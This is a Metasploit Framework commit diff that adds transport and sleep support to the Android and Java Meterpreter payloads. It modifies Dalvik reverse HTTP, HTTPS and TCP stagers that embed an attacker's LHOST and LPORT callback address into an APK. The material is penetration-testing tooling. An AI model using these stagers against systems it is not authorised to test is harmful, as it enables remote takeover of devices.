Land #5608, android and java meterpreter transport and sleep support

This also includes stageless Windows meterpreter fixes for process migration.
bug/bundler_fix
Brent Cook 2015-07-01 00:23:36 -05:00
commit e99d63687f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
14 changed files with 143 additions and 97 deletions

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-payloads (= 1.0.3)
metasploit-payloads (= 1.0.4)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.3)
metasploit-payloads (1.0.4)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -313,21 +313,11 @@ protected
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage(
blob = obj.generate_stage(
uuid: uuid,
uri: conn_id
)
# This is a TLV packet - I guess somewhere there should be an API for building them
# in Metasploit :-)
packet = ""
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
packet << [url.length+8, 0x1000a].pack('NN')+url
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
blob << [packet.length+8, 0].pack('NN') + packet
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session

View File

@ -32,8 +32,13 @@ module Msf::Payload::Dalvik
end
def apply_options(classes)
string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s)
string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s)
timeouts = [
datastore['SessionExpirationTimeout'].to_s,
datastore['SessionCommunicationTimeout'].to_s,
datastore['SessionRetryTotal'].to_s,
datastore['SessionRetryWait'].to_s
].join('-')
string_sub(classes, 'TTTT ', 'TTTT' + timeouts)
end
def string_sub(data, placeholder="", input="")

View File

@ -18,9 +18,9 @@ module Msf::Payload::Java
stage = ''
@stage_class_files.each do |path|
data = MetasploitPayloads.read('java', path)
stage << ([data.length].pack("N") + data)
stage << [data.length, data].pack('NA*')
end
stage << [0].pack("N")
stage << [0].pack('N')
stage
end

View File

@ -61,6 +61,7 @@ module Msf::Payload::TransportConfig
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],

View File

@ -52,14 +52,14 @@ module Payload::Windows::ReverseHttp
# Add extra options if we have enough space
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
conf[:retry_count] = datastore['StagerRetryCount']
conf[:url] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']
conf[:proxy_pass] = datastore['PayloadProxyPass']
conf[:proxy_type] = datastore['PayloadProxyType']
end
generate_reverse_http(conf)

View File

@ -58,6 +58,7 @@ module Payload::Windows::ReverseHttp_x64
unless self.available_space.nil? || required_space > self.available_space
conf[:url] = generate_uri
conf[:exitfunk] = datastore['EXITFUNC']
conf[:ua] = datastore['MeterpreterUserAgent']
conf[:proxy_host] = datastore['PayloadProxyHost']
conf[:proxy_port] = datastore['PayloadProxyPort']
conf[:proxy_user] = datastore['PayloadProxyUser']

View File

@ -80,10 +80,10 @@ class Console::CommandDispatcher::Core
if client.platform =~ /win/ || client.platform =~ /linux/
# Migration only supported on windows and linux
c["migrate"] = "Migrate the server to another process"
end
if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/
# Yet to implement transport hopping for other meterpreters.
# Works for posix and native windows though.
c["transport"] = "Change the current transport mechanism"
# sleep functionality relies on the transport features, so only

View File

@ -62,7 +62,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.4'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -17,15 +17,15 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
'Name' => 'Dalvik Reverse HTTP Stager',
'Description' => 'Tunnel communication over HTTP',
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ''}
))
end
def generate_jar(opts={})
@ -36,13 +36,12 @@ module Metasploit3
uri_req_len = 5
end
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar = Rex::Zip::Jar.new

View File

@ -17,14 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => 'anwarelmakrahy',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
'Name' => 'Dalvik Reverse HTTPS Stager',
'Description' => 'Tunnel communication over HTTPS',
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ''}
))
end
@ -36,13 +36,12 @@ module Metasploit3
uri_req_len = 5
end
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
lurl << "/"
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
# TODO: perhaps wire in an existing UUID from opts?
url << generate_uri_uuid_mode(:init_java, uri_req_len)
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
module Metasploit4
CachedSize = :dynamic
@ -17,14 +17,14 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Dalvik Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => 'timwr',
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""}
'Name' => 'Dalvik Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['timwr', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ''}
))
end
@ -37,8 +37,8 @@ module Metasploit3
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
apply_options(classes)
jar.add_file("classes.dex", fix_dex_header(classes))

View File

@ -7,27 +7,24 @@ require 'msf/core'
require 'msf/core/payload/dalvik'
require 'msf/base/sessions/meterpreter_android'
require 'msf/base/sessions/meterpreter_options'
require 'rex/payloads/meterpreter/config'
module Metasploit4
module Metasploit3
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Meterpreter',
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server on Android',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
'anwarelmakrahy' # android extension
],
'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Android))
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Android
))
register_options(
[
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
@ -37,13 +34,38 @@ module Metasploit3
# used as the final stage
#
def generate_stage(opts={})
# TODO: wire the UUID into the stage
clazz = 'androidpayload.stage.Meterpreter'
metstage = MetasploitPayloads.read("android", "metstage.jar")
met = MetasploitPayloads.read("android", "meterpreter.jar")
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
java_string(clazz) + java_string(metstage) + java_string(met)
blocks = [
java_string(clazz),
java_string(metstage),
java_string(met),
java_string(generate_config(opts))
]
(blocks + [blocks.length]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the XML version of it
config.to_b
end
end

View File

@ -10,7 +10,8 @@ require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
module Metasploit4
include Msf::Sessions::MeterpreterOptions
# The stager should have already included this
@ -18,20 +19,18 @@ module Metasploit3
def initialize(info = {})
super(update_info(info,
'Name' => 'Java Meterpreter',
'Description' => 'Run a meterpreter server in Java',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' =>
{
'Name' => 'Java Meterpreter',
'Description' => 'Run a meterpreter server in Java',
'Author' => ['mihi', 'egypt', 'OJ Reeves'],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'PayloadCompat' => {
'Convention' => 'javasocket javaurl',
},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java))
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java
))
# Order matters. Classes can only reference classes that have already
# been sent. The last .class must implement Stage, i.e. have a start()
# method.
@ -54,12 +53,42 @@ module Metasploit3
# used as the final stage; calls super to get the intermediate stager.
#
def generate_stage(opts={})
# TODO: wire the UUID into the stage
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
config = generate_config(opts)
# All of the dendencies to create a jar loader, followed by the length
# of the jar and the jar itself.
super(opts) + [met.length].pack("N") + met
# All of the dependencies to create a jar loader, followed by the length
# of the jar and the jar itself, then the config
blocks = [
super(opts),
[met.length, met].pack('NA*'),
[config.length, config].pack('NA*')
]
# Deliberate off by 1 here. The call to super adds a null terminator
# so we would add 1 for the null terminate and remove one for the call
# to super.
block_count = blocks.length + @stage_class_files.length
# Pack all the magic together
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
ascii_str: true,
arch: opts[:uuid].arch,
expiration: datastore['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: [transport_config(opts)]
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the XML version of it
config.to_b
end
end